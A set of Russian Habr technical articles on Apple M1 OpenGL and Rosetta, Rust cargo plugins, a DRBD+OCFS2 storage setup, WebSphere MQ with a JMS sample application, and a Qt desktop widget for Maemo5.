Счётчик кадров в секунду в простой тестовой сцене со стеклянным шариком демонстрирует ***преимущество до двух раз*** M1 над Intel HD 630: 48 FPS против 25 FPS для маленького окошка и 14.8 FPS против 6.5 FPS для разрешения 1080p. Конечно, тут M1 выглядит достойно только по сравнению со слабым GPU процессора Intel i5 - цифры не идут ни в какое сравнение со 100+ FPS для 1080p на мобильных видеокартах среднего сегмента, таких как четырёхлетний GeForce 1060 GTX.
Для простоты эксперимента, CAD Assistant запускался через **Rosetta** - программное решение Apple для запуска x86-64 приложений на ARM64 процессоре (коим является новый M1). Важность такого инструмента трудно недооценить, ведь на момент анонса 99.9% программного обеспечения, доступного для macOS, рассчитано на процессоры Intel.
И тем удивительнее, как смело Apple играет своими мускулами, ведь Rosetta даже не предустановлена на macOS Big Sur! Приложения .app для Intel в Finder просто не запускаются на свежей системе, при этом система не показывает ни единого сообщения об ошибке. А вот запуск инсталлционного пакета .pkg сразу предложила установить Rosetta, после чего запуск старых приложений стал возможен.
*Проблема совместимости со старыми приложениями при появлении новых платформ была актуальна не один раз. IA-64 (64битная архитектура процессоров Intel Itanium) не поддерживала запуск x86 приложений, а вот x86\_64 (или AMD64, 64-битная архитектура современных процессоров Intel и AMD) была изначально рассчитана на совместимость с существующими x86 платформами и приложениями. Более того, 64-битная версия Windows XP для процессоров AMD вышла только в 2005 году - то есть спустя два года после выпуска первых процессоров AMD Athlon 64 / Opteron с этой архитектурой. Благодаря обратной совместимости (в том числе реализации WoW64 для прозрачного запуска 32битных приложений на 64битной Windows), 32битные x86 приложения и операционные системы* оставались популярными ещё долгие годы.
Процессоры ARM физически не поддерживают инструкции x86 (как и наоборот), поэтому реализация запуска и эффективной работы приложений, написанных для другой архитектуры процессоров, представляет собой определённые сложности. Для Apple этот опыт был уже не первым в истории - первая версия Rosetta использовалась для запуска [PowerPC приложений на процессорах Intel](https://en.wikipedia.org/wiki/Mac_transition_to_Intel_processors) в 2006 году.
Подобные решения можно было наблюдать и на других платформах, таких как Android - когда аутсайдер мобильного рынка Intel пытался конкурировать с ARM. Такие версии Android на процессорах Intel позволяли запускать приложения собранные для архитектуры ARM. По моему опыту, работала такая комбинация не очень стабильно - многие приложения падали и работали некорректно. Тем интереснее понаблюдать за работой приложений через Rosetta 2:
* Видеоплеер [sView](http://sview.ru/) заработал без видимых проблем, но наблюдаются падения приложения при изменении размера окна.
* CAD Assistant запускается и в целом работает, однако вскоре возникают артефакты отображения текста через рендер QtQuick.
* Telegram запустился и вроде бы работает.
* Edge также заработал на паре сайтов.
* Firefox запустился, но работает некорректно (зависает открытие сайтов, падения).
Не могу сказать, связаны ли наблюдаемые проблемы именно с Rosetta, или с самой системой macOS Big Sur, или даже с графическими драйверами Apple M1. В будущем с появлением нативных ARM приложений для macOS этот вопрос может прояснится.
Intel версия sView на macOS Big Sur (ARM)Битый текст в Intel версии CAD Assistant на macOS Big Sur (ARM)Английская версия публикации может быть найдена по [следующей ссылке](https://unlimited3d.wordpress.com/2020/12/09/opengl-on-apple-m1/).
**Обновление #1**
Похоже артефакты текста в QtQuick (Qt5) связаны с [проблемами реализации OpenGL на Apple M1](https://bugreports.qt.io/browse/QTBUG-86429) (судя по комментариям пользователей - проблема не воспроизводится на Intel). В Qt есть даже переменная, которая позволяет обойти проблему:
```
export QT_ENABLE_GLYPH_CACHE_WORKAROUND=1
open -a "/Applications/CAD Assistant.app"
```
Падения sView в момент масштабирования окна могут быть связаны с проблемами в обработке OpenGL из не-GUI потока (данная возможность была объявлена "устаревшей" в предыдущем обновлении macOS). Отключить отрисовку в отдельном потоке в sView можно специальным ключом:
```
/Applications/sView.app/Contents/MacOS/sView --cocoa-threaded=off
``` | https://habr.com/ru/post/533018/ | null | ru | null |
# Rust 1.5: Cargo с блэкджеком
Под новогодние праздники был выпущен Rust 1.5. Так как близится релиз 1.6, хочу наверстать упущенное, и рассказать о том, что появилось в последней стабильной версии. Существенные изменения затронули Cargo!
Основное изменение, которое вы получите — это команда **cargo install**. Её прелесть в возможности установить внешние плагины на ваш cargo. Список доступных расширений можно посмотреть [здесь](https://crates.io/search?q=subcommand), крейты с плагинами чаще всего имеют префикс **cagro-**. Приведу пример использования нескольких их них.
##### cargo-check
Команда **check** позволяет проверить код, без сборки. Устанавливаем:
```
cargo install cargo-check
```
Использовать очень просто, точно так же как вы используете команду **build**:
```
cargo check
```
Команда выводит все предупреждения и ошибки по исходникам Rust вашего проекта.
##### cargo-edit
Команда **edit** позволяет управлять зависимостями. Устанавливаем:
```
cargo install cargo-edit
```
На самом деле будет установлено сразу 3 команды: **add**, **rm** и **list**. Используем следующим образом:
```
cargo list
env_logger ~0.3
hyper ~0.7
json_macro 0.1.1
log ~0.3
lua git: "https://github.com/jcmoyer/rust-lua53"
mould path: "C:\\DEVELOPMENT\\rust-dev\\mould"
r2d2 0.6.3
r2d2_sqlite 0.0.4
rusqlite 0.6.0
rust-crypto 0.2.34
rustc-serialize ~0.3.16
static-server path: "C:\\DEVELOPMENT\\rust-dev\\static-server"
uuid 0.1.18
```
Добавляем зависимость с помощью:
```
cargo add [--dev|--build|--optional] [--vers=|--git=|--path=] [options]
```
##### cargo-graph
Команда graph генерирует граф зависимостей в формате GraphViz. Возможно вы уже видели подобное в некоторых библиотеках на Rust. Устанавливаем:
```
cargo install cargo-graph
```
Граф генерируется в stdout, поэтому укажите название файла:
```
cargo graph > deps.dot
```
После генерируем PNG из DOT файла:
```
dot deps.dot -Tpng -o deps.png
```
Вот что получилось:
##### cargo-watch
Команда watch позволяет автоматически собирать код, при изменениях в файлах. Подобный подход очень популярен в мире Node (Grunt, Gulp). Устанавливаем:
```
cargo install cargo-watch
```
Использовать так же просто:
```
cargo watch
```
По сути команда запускает бесконечный цикл с командами **build** и **test**, просто наблюдающий за изменениями в файлах.
Кстати, по всем командам можно получить справку через команду **help**, например:
```
cargo help watch
Usage: cargo-watch [watch] [options]
cargo watch [options]
cargo-watch [watch] [...]
cargo watch [...]
Options:
-h, --help Display this message
`cargo watch` can take one or more arguments to pass to cargo. For example,
`cargo watch "test ex\_ --release"` will run `cargo test ex\_ --release`
If no arguments are provided, then cargo will run `build` and `test`
```
##### cargo-count
Команда **count** позволяет посчитать полезную статистику о вашем коде. Устанавливаем:
```
cargo install cargo-count
```
Просто наберите:
```
cargo count
```
И получите следующий отчёт (меня он приводит в полный восторг!):
```
Gathering information...
Language Files Lines Blanks Comments Code
-------- ----- ----- ------ -------- ----
TOML 1 19 1 0 18
Python 1 63 11 5 47
Rust 7 824 89 17 718
HTML 41218 5218543 1016734 239837 3961972
CSS 5 907 130 38 739
C 37 19303 2665 1964 14673
C Header 25 3970 1049 1012 1907
C++ Header 1 9 1 3 5
JavaScript 788 4024 591 155 3278
-------- ----- ----- ------ -------- ----
Totals: 42083 5247662 1021271 243031 3983357
```
##### rustfmt
Команда **fmt** позволяет автоматически форматировать код. Близкий аналог есть в Go. Устанавливаем:
```
cargo install rustfmt
```
Команда довольно долго компилируется, и пока не очень стабильна, но уже очень полезна.
Наберите:
```
cargo fmt
```
Помогает отформатировать код и показывает все не сделанные TODO.
##### Итог
Теперь вы можете значительно повысить удобство и без того прекрасного cargo. Перспектива радует.
P.S. К слову, все команды — полноценные и автономные программы на Rust, которые компилируются и складываются в **~/.cargo/bin/**:
```
ls -lah ~/.cargo/bin/
итого 33M
drwxr-xr-x 1 denis_000 denis_000 0 янв 15 12:17 .
drwxr-xr-x 1 denis_000 denis_000 0 дек 15 16:37 ..
-rwxr-xr-x 1 denis_000 denis_000 3,5M янв 15 12:13 cargo-add.exe
-rwxr-xr-x 1 denis_000 denis_000 2,2M янв 15 12:04 cargo-check.exe
-rwxr-xr-x 1 denis_000 denis_000 3,3M дек 15 16:44 cargo-count.exe
-rwxr-xr-x 1 denis_000 denis_000 2,4M янв 15 12:03 cargo-fmt.exe
-rwxr-xr-x 1 denis_000 denis_000 3,1M янв 15 12:17 cargo-graph.exe
-rwxr-xr-x 1 denis_000 denis_000 3,2M янв 15 12:13 cargo-list.exe
-rwxr-xr-x 1 denis_000 denis_000 3,2M янв 15 12:12 cargo-rm.exe
-rwxr-xr-x 1 denis_000 denis_000 3,3M дек 15 16:37 cargo-watch.exe
-rwxr-xr-x 1 denis_000 denis_000 8,4M янв 15 12:03 rustfmt.exe
``` | https://habr.com/ru/post/275157/ | null | ru | null |
# Кластерное хранилище для небольших web-кластеров на базе drbd+ocfs2
**О чем мы расскажем:**
Как быстро развернуть общее хранилище для двух серверов на базе решений drbd+ocfs2.
**Для кого это будет полезно:**
Туториал станет полезен системным администраторам и всем, кто выбирает способ реализации хранилища или хотят попробовать решение.
### От каких решений мы отказались и почему
Часто мы сталкиваемся с ситуацией, когда нам нужно реализовать на небольшом web-кластере общее хранилище с хорошей производительностью на чтение — запись. Мы пробовали различные варианты реализации общего хранилища для наших проектов, но мало что было способно удовлетворить нас сразу по нескольким показателям. Сейчас расскажем, почему.
* Glusterfs не устроил нас производительностью на чтение и запись, возникали проблемы с одновременным чтением большого количества файлов, была высокая нагрузка на CPU. Проблему с чтением файлов можно было решить, обращаясь за ними напрямую в brick-и, но это не всегда применимо и в целом неправильно.
* Ceph не понравился избыточной сложностью, которая может быть вредна на проектах с 2-4 серверами, особенно, если проект впоследствии обслуживают. Опять же, имеются серьезные ограничения по производительности, вынуждающие строить отдельные storage кластеры, как и с glusterfs.
* Использование одного nfs сервера для реализации общего хранилища вызывает вопросы в плане отказоустойчивости.
* s3 — отличное популярное решение для некоторого круга задач, но это и не файловая система, что сужает область применения.
* lsyncd. Если мы уже начали говорить о «не-файловых системах», то стоит пройтись и по этому популярному решению. Мало того, что оно не подходит для двухстороннего обмена (но если очень хочется, то можно), так еще и не стабильно работает на большом количестве файлов. Приятным дополнением ко всему будет то, что оно является однопоточным. Причина в архитектуре программы: она использует inotify для мониторинга объектов работы, которые навешивает при запуске и при пересканировании. В качестве средства передачи используется rsync.
### Туториал: как развернуть общее хранилище на базе drbd+ocfs2
Одним из наиболее удобных решений для нас стала связка **ocfs2+drbd**. Сейчас мы расскажем, как можно быстро развернуть общее хранилище для двух серверов на базе данных решений. Но сначала немного о компонентах:
**DRBD** — система хранения из стандартной поставки Linux, которая позволяет реплицировать данные между серверами блоками. Основное применение заключается в построении отказоустойчивых хранилищ.
**OCFS2** — файловая система, обеспечивающая разделяемое использование одного и того же хранилища несколькими системами. Входит в поставку Linux и представляет из себя модуль ядра и userspace инструментарий для работы с ФС. OCFS2 можно использовать не только поверх DRBD, но и поверх iSCSI с множественным подключением. В нашем примере мы используем DRBD.
Все действия производятся на ubuntu server 18.04 в минимальной конфигурации.
**Шаг 1. Настраиваем DRBD:**
В файле /etc/drbd.d/drbd0.res описываем наше виртуальное блочное устройство /dev/drbd0:
```
resource drbd0 {
syncer { rate 1000M; }
net {
allow-two-primaries;
after-sb-0pri discard-zero-changes;
after-sb-1pri discard-secondary;
after-sb-2pri disconnect;
}
startup { become-primary-on both; }
on drbd1 {
meta-disk internal;
device /dev/drbd0;
disk /dev/vdb1;
address 10.10.10.192:7789;
}
on drbd2 {
meta-disk internal;
device /dev/drbd0;
disk /dev/vdb1;
address 10.10.10.193:7789;
}
}
```
*meta-disk internal* — использовать те же блочные устройства для хранения метаданных
*device /dev/drbd0* — использовать /dev/drbd0 как путь к drbd тому.
*disk /dev/vdb1* — использовать /dev/vdb1
*syncer { rate 1000M; }* — использовать гигабит пропускной способности канала
*allow-two-primaries* — важная опция, разрешающая принятие изменений на двух primary серверах
*after-sb-0pri, after-sb-1pri, after-sb-2pri* — опции, отвечающие за действия узла при обнаружении splitbrain. Подробнее можно посмотреть в документации.
*become-primary-on both* — устанавливает обе ноды в primary.
В нашем случае мы имеем две абсолютно одинаковые ВМ, с выделенной виртуальной сетью пропускной способностью в 10 гигабит.
В нашем примере сетевые имена двух нод кластера — это drbd1 и drbd2. Для правильной работы необходимо сопоставить в /etc/hosts имена и ip адреса узлов.
```
10.10.10.192 drbd1
10.10.10.193 drbd2
```
**Шаг 2. Настраиваем ноды:**
На обоих серверах выполняем:
```
drbdadm create-md drbd0
```
```
modprobe drbd
drbdadm up drbd0
cat /proc/drbd
```
Получаем следующее:
Можно запускать синхронизацию. На первой ноде нужно выполнить:
```
drbdadm primary --force drbd0
```
Смотрим статус:
```
cat /proc/drbd
```
Отлично, началась синхронизация. Дожидаемся окончания и видим картину:
**Шаг 3. Запускаем синхронизацию на второй ноде:**
```
drbdadm primary --force drbd0
```
Получаем следующее:
Теперь мы можем писать в drbd с двух серверов.
**Шаг 4. Установка и настройка ocfs2.**
Будем использовать достаточно тривиальную конфигурацию:
```
cluster:
node_count = 2
name = ocfs2cluster
node:
number = 1
cluster = ocfs2cluster
ip_port = 7777
ip_address = 10.10.10.192
name = drbd1
node:
number = 2
cluster = ocfs2cluster
ip_port = 7777
ip_address = 10.10.10.193
name = drbd2
```
Её нужно записать в */etc/ocfs2/cluster.conf* на обеих нодах.
Создаем ФС на drbd0 на любой ноде:
```
mkfs.ocfs2 -L "testVol" /dev/drbd0
```
Тут мы создали ФС с меткой testVol на drbd0, используя параметры по умолчанию.
В /etc/default/o2cb необходимо выставить (как в нашем файле конфигурации)
```
O2CB_ENABLED=true
O2CB_BOOTCLUSTER=ocfs2cluster
```
и выполнить на каждой ноде:
```
o2cb register-cluster ocfs2cluster
```
После чего включаем и добавляем в автозапуск все нужные нам unit-ы:
```
systemctl enable drbd o2cb ocfs2
systemctl start drbd o2cb ocfs2
```
Часть этого уже будет запущена в процессе настройки.
**Шаг 5. Добавляем точки монтирования в fstab на обеих нодах:**
```
/dev/drbd0 /media/shared ocfs2 defaults,noauto,heartbeat=local 0 0
```
Директория */media/shared* при этом должна быть создана заранее.
Тут мы используем опции noauto, которая означает, что ФС не будет смонтирована при старте (предпочитаю монтировать сетевые фс через systemd) и heartbeat=local, что означает означает использование сервиса heartbeat на каждой ноде. Существует еще global heartbeat, который больше подходит для больших кластеров.
Далее можно смонтировать */media/shared* и проверить синхронизацию содержимого.
**Готово!** В результате мы получаем более-менее отказоустойчивое хранилище с возможностью масштабирования и приличной производительностью. | https://habr.com/ru/post/445612/ | null | ru | null |
# WebSphere MQ для начинающих
#### Введение
В рамках одной из задач было необходимо интегрироваться с внешней системой. В проме и у всех разработчиков стоит IBM WebSphere поэтому WebSphere MQ отлично вписывался, учитывая также то, что с IBM WebSphere у них отличная интеграция «из коробки». Для начала установим и настроим WebSphere и WebSphere MQ, после напишем простое приложение для отправки и приема данных из очереди и завершим все установкой и настройкой HermesJMS и посмотрим как отправлять и просматривать сообщения из нее. Все будет производится в Windows 7. Перед тем как продолжать скачайте выше перечисленные программы.
Осторожно трафик!
#### Установка и настройка WebSphere и WebSphere MQ
Надеюсь Вы уже скачали все необходимые программы и готовы приступить к установке. Первым делом запустите установщик IBM Installation Manager. Дабы не увеличивать размер статьи скриншоты, которые не имеют особой смысловой нагрузки, буду убирать в спойлеры, т.к. полностью удалить из статьи считаю неправильно т.к. они дают понимание что Вы делаете все правильно.
**Скриншоты** 
Перезапускаем Instalation Manager и идем в пункт Файл -> Параметры. Добавляем хранилище из первого диска.
Нажимаем ОК и начинаем установку.
**Скриншоты с описанием** 
Убираем флажок с русского перевода.
Далее установщик попросит вставить диски 2 и 3. Вставляем их.
После установки автоматически запустится менеджер профилей.
Нажимаем кнопку «Create...» и далее делаем как на скриншотах ниже.
**Скриншоты** 
Теперь установим WebSphere MQ.
**Скриншоты** 
После того как установка завершена давайте настроим WebSphere MQ и WebSphere. Начнем с WebSphere MQ так как нам понадобятся имена очередей и менеджер очередей при настройке WebSphere. Все команды исполняются из директории bin каталога WebSphere MQ. Первым делом создадим менеджер очередей и назовем его HABR\_QUEUE\_MANAGER, используя команду **crtmqm.exe HABR\_QUEUE\_MANAGER**.
Запустим наш только что созданный менеджер очередей с помощью команды **strmqm.exe HABR\_QUEUE\_MANAGER**.
Для того чтобы создать наши входящую и исходящую очереди запустим MQ-шную командную строку вызовом **runmqsc.exe HABR\_QUEUE\_MANAGER** и выполним подряд 2 команды:
1. DEFINE QLOCAL(HOME.TO.ES) — очередь для отправки сообщений из нашего приложения во внешнюю систему
2. DEFINE QLOCAL(ES.TO.HOME) — очередь для приема сообщений из внешней системы
Осталось создать слушатель и канал и запустить его и WebSphere MQ можно считать настроеной. Для этого выполните следующие команды:
1. DEFINE LISTENER(HABR\_QUEUE\_MANAGER.LISTENER) TRPTYPE (TCP) PORT(1414)
2. START LISTENER(HABR\_QUEUE\_MANAGER.LISTENER)
3. DEFINE CHANNEL(SYSTEM.ADMIN.SVRCONN) CHLTYPE(SVRCONN)
Запомните порт **1414**. Пригодится в настройке WebSphere Application Server.
Приступим к настройке WebSphere Application Server.
Создадим Connection factory. Для этого запустим консоль администратора и выберем пункт Resources->JMS providers->WebSphere MQ messaging provider->Queue connection factories->New (Как показано на скриншоте ниже).
Далее вводим имя и jndi имя.
Вписываем имя queue manager-а.
Если при проверке соединения возникает сообщение(которое показано на скриншоте ниже), то произведите следующие действия.
1. Снова запустите командную строку MQ и выполните runmqsc.exe HABR\_QUEUE\_MANAGER
2. Наберите ALTER QMGR CHLAUTH(DISABLED)
3. Перейдите в раздел службы в Windows и у службы IBM MQSeries в разделе «Вход в систему» замените на свою учетную запись. Тоже самое проделайте для службы WebSphere Application Server 8.5
4. Перезагрузите систему и запустите HABR\_QUEUE\_MANAGER и стартаните LISTENER(HABR\_QUEUE\_MANAGER.LISTENER)
5. Теперь все должно заработать
Теперь создаем очереди. Нам нужно создать 2 очереди. Названия у них будут как и у очередей, созданных в WebSphere MQ. Если кто забыл то они называются ES.TO.HOME и HOME.TO.ES. Идем в пункт Resources->JMS->Queues->New
Вторую создаем по аналогии.
Осталось настроить Listener port. Заходим в Application servers -> server1 -> Message listener service -> Listener ports и добавляем новый.
Сохраняем конфигурацию. Мы указали jndi имя queue connection manager-а и jndi имя очереди, в которую будут приходить сообщения из внешней системы. Запустите порт.
Теперь у нас есть настроенные WebSphere Application Server и WebSphere MQ. Можно приступать к созданию простого тестового приложения.
#### Создание простого приложения для отправки и приема сообщений из очереди
Я умышленно при разработке приложения не буду использовать различные средства для сборки проектов таких как Maven, Gradle или ant, чтобы вы могли понять что вообще происходит за кулисами. Но все же для удобства напишу пару скриптов, с помощью которых будет производится сборка проекта в ear. Весь проект я выложил на [github](https://github.com/lukdiman/JMSHabr). Ниже я опишу только основные моменты.
##### Отправка сообщения в очередь
Чтобы отправить сообщение создадим сервлет, бин и форму для ввода сообщения.
Начнем с класса JMSMessageBean из модуля ejb-core. В методе ejbCreate мы получаем ссылки на Connection factory и очередь, в которую будем отправлять сообщения. Метод processMessage предназначен для создания текстового сообщения и отправки его в очередь.
```
public class JMSMessageBean implements SessionBean {
private SessionContext sessionContext;
private QueueConnectionFactory connectionFactory;
private Queue destination;
public boolean processMessage(String message) {
QueueConnection jmsConnection = null;
QueueSession jmsSession = null;
try {
jmsConnection = connectionFactory.createQueueConnection();
jmsSession = jmsConnection.createQueueSession(true, Session.AUTO_ACKNOWLEDGE);
TextMessage jmsMessage = jmsSession.createTextMessage();
jmsMessage.setText(message);
jmsSession.createSender(destination).send(jmsMessage);
} catch (JMSException e) {
return false;
} finally {
try {
if (jmsSession != null) {
jmsSession.close();
}
if (jmsConnection != null) {
jmsConnection.close();
}
} catch (JMSException e) {
e.printStackTrace();
}
}
return true;
}
public void ejbCreate() throws EJBException {
try {
Context ctx = new InitialContext();
connectionFactory = (QueueConnectionFactory) ctx.lookup("java:comp/env/QMHabr");
destination = (Queue) ctx.lookup("java:comp/env/jms/HOME.TO.ES");
} catch (NamingException e) {
throw new EJBException(e);
}
}
@Override
public void ejbActivate() throws EJBException {
}
@Override
public void ejbPassivate() throws EJBException {
}
@Override
public void ejbRemove() throws EJBException {
}
@Override
public void setSessionContext(SessionContext sessionContext) throws EJBException {
this.sessionContext = sessionContext;
}
}
```
Ниже показан наш сервлет SendJMSMessageServlet. В методе init получаем ссылку на бин, который описан выше. Далее в методе doPost он принимает сообщение от формы и направляет методу processMessage бина. Всю остальную работу выполняет бин.
```
public class SendJMSMessageServlet extends HttpServlet {
private static final String MESSAGE_PARAMETER_NAME = "message";
private static final String MESSAGE_SENDING_SUCCESS = "Сообщение успешно отправлено";
private static final String MESSAGE_SENDING_ERROR = "Сообщение отправлено с ошибкой";
private JMSMessage jmsMessage = null;
@Override
public void init() throws ServletException {
super.init();
try {
Context ctx = new InitialContext();
Object objHome = ctx.lookup("java:comp/env/ejb/JMSMessageLocal");
JMSMessageHome jmsMessageHome = (JMSMessageHome) PortableRemoteObject.narrow(objHome, JMSMessageHome.class);
jmsMessage = jmsMessageHome.create();
} catch (Exception e) {
throw new ServletException(e);
}
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.getRequestDispatcher("/sendMessage.jsp").forward(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
String message = request.getParameter(MESSAGE_PARAMETER_NAME);
request.setAttribute(MESSAGE_PARAMETER_NAME, (jmsMessage.processMessage(message)) ? MESSAGE_SENDING_SUCCESS : MESSAGE_SENDING_ERROR);
request.getRequestDispatcher("/viewMessage.jsp").forward(request, response);
}
}
```
Html форма отправки самая элементарная. Это не самая важная часть. Сообщение можно было захардкодить или получать из properties файла. Но код все равно приведу.
```
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
Отправка сообщения в очередь
| | |
| --- | --- |
| Введите сообщение: | |
| |
```
#### Установка и настройка HermesJMS
Если WebSphere MQ установлена на другой машине и Вам надоело бегать проверять сообщения в очереди или просто хотите иметь удобное средство для отправки тестовых сообщений в очередь, то можно использовать HermesJMS. Возможно есть аналоги, но те, которые я находил, были платные. Посоветуйте в комментариях хорошие бесплатные аналоги если знаете. С удовольствием рассмотрю другие подобные системы. Конкретно в HermesJMS не совсем устраивают некоторые UI баги и не освобождаются ресурсы если отправлять сообщение из файла (лочит намертво), но жить с ними можно.
И так, приступим к установке и настройке.
**Скриншоты** 
Запустите HermesJMS и добавьте новую сессию. Для начала перейдите во вкладку Providers и добавьте новую группу. Назовите ее как на скриншоте(хотя это не важно) и добавьте все jar файлы, перечисленные ниже.
После добавления провайдера в пункте Session выберите его из выпадающего списка. Пример настройки других полей показан на скриншоте ниже.
Теперь попробуем отправить сообщение в нашу очередь. Для это заходим по адресу <http://localhost:9080/habr/sendMessage> и вводим любое сообщение в поле ввода и нажимаем кнопку «Отправить».
Теперь откройте HermesJMS и откройте очередь HOME.TO.ES на просмотр. Если Вы увидели сообщение как показано ниже на скриншоте, то все произведенные выше действия Вы выполнили верно.
На этом я статью завершаю. Всем спасибо за внимание! Надеюсь она будет кому-то полезна. | https://habr.com/ru/post/176209/ | null | ru | null |
# Пишем виджет рабочего стола под Maemo5 на Qt. Часть вторая и заключительная
Доброго времени суток, хабрапользователь. Продолжаю цикл статей о Nokia N900. И продолжаю начатую в прошлый раз [статью о написании виджета для N900 на Qt](http://habrahabr.ru/blogs/qt_software/98091/). И так, в прошлый раз мы сделали простое приложение, которое получает список из файла специального формата (xml). На это раз мы это приложение доделаем и превратим его в такой вот виджет рабочего стола:
Так как я пишу больше о Maemo5 (MeeGo в перспективе), то попытаюсь поменьше уделять внимания на Qt и побольше на интеграцию с Maemo5/Hildon. И очень постараюсь показать, что разработка приложений на Qt не требует знаний специфики платформы и «родной среды» (в Нашем случае — это GTK).
В этой статье я напишу о том, как:
1. Написать делегат, для «красивого» отображения информации.
2. Реализовать собственную модель, для обеспечения функционала приложения.
3. Сделать составной виджет из нескольких других виджетов и набора функционала.
4. Оформить это как виджет рабочего стола и сделать .deb-пакет.
5. Добавить к этому виджету страницу с настройками.
Самое главное, что все вышеперечисленное не требует особых глубоких знаний и адаптации приложения под Maemo5, полученный виджет может отлично работать и на настольной системе (Mac/Win/Lin), но не как виджет рабочего стола, а как простое приложение.
#### Делегат для отображения списка
В первую очередь нужно определиться с тем, что и как отображать. Достаточный минимум информации:
1. Время отправления.
2. Сколько времени осталось до отправления.
3. Заметки (по каким числам, в какие дни).
Немного прикинув решил сделать так: большими цифрами отображать время до отправления и через пробел время отправления. Цвет времени до отправления решил сделать динамически. Например, если до отправления осталось менее 5 минут — то рисоваться будет красным, если менее 15 минут — то темно желтым. Если же до отправления более 15 минут — то темно синим. Получается два порога срабатывания. В моем примере — это 5 и 15 минут. Было решено сделать эти пороги настраиваемыми и вынести в настройки(платформо-специфичное хранилище, [QSettings](http://doc.qt.nokia.com/4.6/qsettings.html)). Хорошо бы было сделать еще и вот сами цвета настраиваемыми, но пусть это будет в «Roadmap'е». Сразу за предыдущими двумя полями на все оставшееся пространство нужно разместить заметку. Причем, по высоте должно влезть две строчки текста из заметки, так как заметка может содержать достаточно много информации.
Выглядеть в итоге это должно как-то так:
В связи с тем, что на мою просьбу о помощи в дизайне интерфейса приложения никто не откликнулся, я решил все сделать своими силами. Так как я в этом самом дизайне не особо силен, то решил возложить отрисовку элементов списка по максимуму на систему. Из-за этого код делегата, который отвечает за отрисовку этого элемента списка стал немного сложноват и нуждается в дополнительном описании (но зато удалось продемонстрировать стиле-независимую отрисовку виджета).
Для реализации делегата, необходимо перекрыть всего два метода (так как наш делегат не модифицирует данные):
> `void paint(QPainter \* painter,const QStyleOptionViewItem & option, const QModelIndex & index) const;
>
> QSize sizeHint (const QStyleOptionViewItem & option, const QModelIndex& index) const;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Первый метод рисует элемент, а второй возвращает необходимые размеры для отрисовки одного элемента. Ну и собственно сам делегат является наследником QStyledItemDelegate. Более подробней о дерегатах [можно почитать в официальной документации.](http://doc.trolltech.com/4.6/model-view-delegate.html) Благодаря тому, что мы отнаследовались от стилизованного делегата, в оба вышеупомянутых метода в виде параметров мы получаем [QStyleOptionViewItem](http://doc.trolltech.com/4.6/qstyleoptionviewitemv4.html) переменную. Благодаря этой переменной можно «достучаться» до параметров текущего стиля. Вот некоторые примеры:
* option.rect — размеры прямоугольника для рисования
* option.palette — QPallete для рисования
* option.palette.text().color() — цвет текста текущей палитры для рисования
* option.state — состояние текущего элемента (элемент может быть выделен, например)
* option.font.pointSize() — размер шрифта
* option.palette.base() — базовая палитра
* option.palette.alternateBase() — альтернативная базовая палитра
В Qt доступно очень много разной информации и я бы рекомендовал ознакомиться с [системой отрисовки виджетов с помощью стилей](http://doc.trolltech.com/4.6/style-reference.html#qstyle-functions), чтоб понять как и что используется.
Как видно из моего кода, для определения размера шрифта для отрисовки времени и заметки я использовал статическую константу fontDelta. Она равна 3 на настольной системе и 6 на Маемо5 устройстве (N900). Это очень «грязный» обходной путь (workaround) или в простонародье — гвоздь. Связан он с тем, что на N900 при дельте 6 две строчки заметок помещаются в одну строку времени, а на настольной системе при дельте равной 3. Вот пример неправильной отрисовки:
Но если появится система, для которой дельта уже будет другой, то нужно будет добавлять еще одно значение с дельтой, что очень не хорошо. Поэтому эта дельта должна рассчитываться программно (при помощи QFonrMetrics например). Так что данная реализация является черновой и временной.Тем не менее, в результате мы получили делегата, который отрисовал следующее на экране:
Я считаю, что результат получился читабельным и красивым. Строки выделены между собой закраской (четные имеют один цвет, а нечетные другой). И цвета для подложки четных и нечетных строк соответствуют системным (системны цвета можно вдеть на заднем плане в окне отладчика).
#### Элементы управления
Так как расписаний у нас может быть несколько (как минимум нужно иметь два расписания: «туда» и «обратно»), то нужно уметь переключаться между ними. Для этого я подумал о двух стрелочках: «вперед» и «назад» по списку расписаний. Чтоб знать какое расписание сейчас отображается, необходимо поместить на виджет текст с названием направления. В процессе 4-х минутного дизайна у меня получился следующих виджет:
При нажатии на стрелочки «влево» и «вправо» происходит переключение на предыдущее и следующее расписание в списке расписаний.
На нажатии на надписи с направлением — список позиционируется на ближайшей отравляющейся электричке.
Забегая вперед расскажу, что виджет на рабочем столе «не правильно» перехватывает событие пролистывания и перетягивания мышью. Поэтому список прокручивать не получилось ни с помощью полосы прокрутки ни с помощью обычного пролистывания пальцем (прикоснулся и протянул вверх или вниз). Проблема была решена таким образом: если нажать на элемент в списке, находящийся выше середины отображаемого списка, то список «провернется» таким образом, что этот элемент станет последним в видимом отрезке списка(Scroll Up):
А если нажать на элемент, находящийся ниже середины видимого списка, то он станет первым в видимом списке соответственно (Scroll Down):
Ну и обновление времени, оставшегося до отправления обновляется по таймеру каждую минуту. А сам список обновляет данные из сети при загрузке или при закрытии окна настроек.
#### Модель
Модель была изменена немного от предыдущего состояния. Был добавлен список расписаний, так как появилась возможность манипулировать несколькими расписаниями. Правильней было бы для каждого отдельного расписания инстантинировать свою модель, и в виджете переключаться между ними. Но так как я изначально механизм загрузки «спрятал в модель» и все что с ним связано туда-же, то логичнее и проще было и список расписаний переложить на модель. Поэтому прошу не критиковать сильно за такое отклонение от шаблона (тем более что в данном конкретном примере «потерь» от этого «отклонения» практически нет).
#### Запуск в виде обычного приложения
Если запустить получившийся код на данном этапе, то мы получим приложение. Не имеющего никакого упоминания о виджетах и Maemo5. Результат выполненния на N900 Вы видите выше.
Вот так приложение выглядит на Mac OS:
В симуляторе для кнопочных симбиан телефонов на примере N95 результат выглядит так:
ну и для тачевых симбианов на примере N97 вот так:
Результат получился хороший. Под каждую систему список отображатеся «родными» цветами, хотя полностью рисуется нашим кодом. Причем, если поменять стиль на устройстве, соответственно поменяется и список. Что очень здорово, так как сделает виджет «родным» для любого установленного стиля.
#### Начало
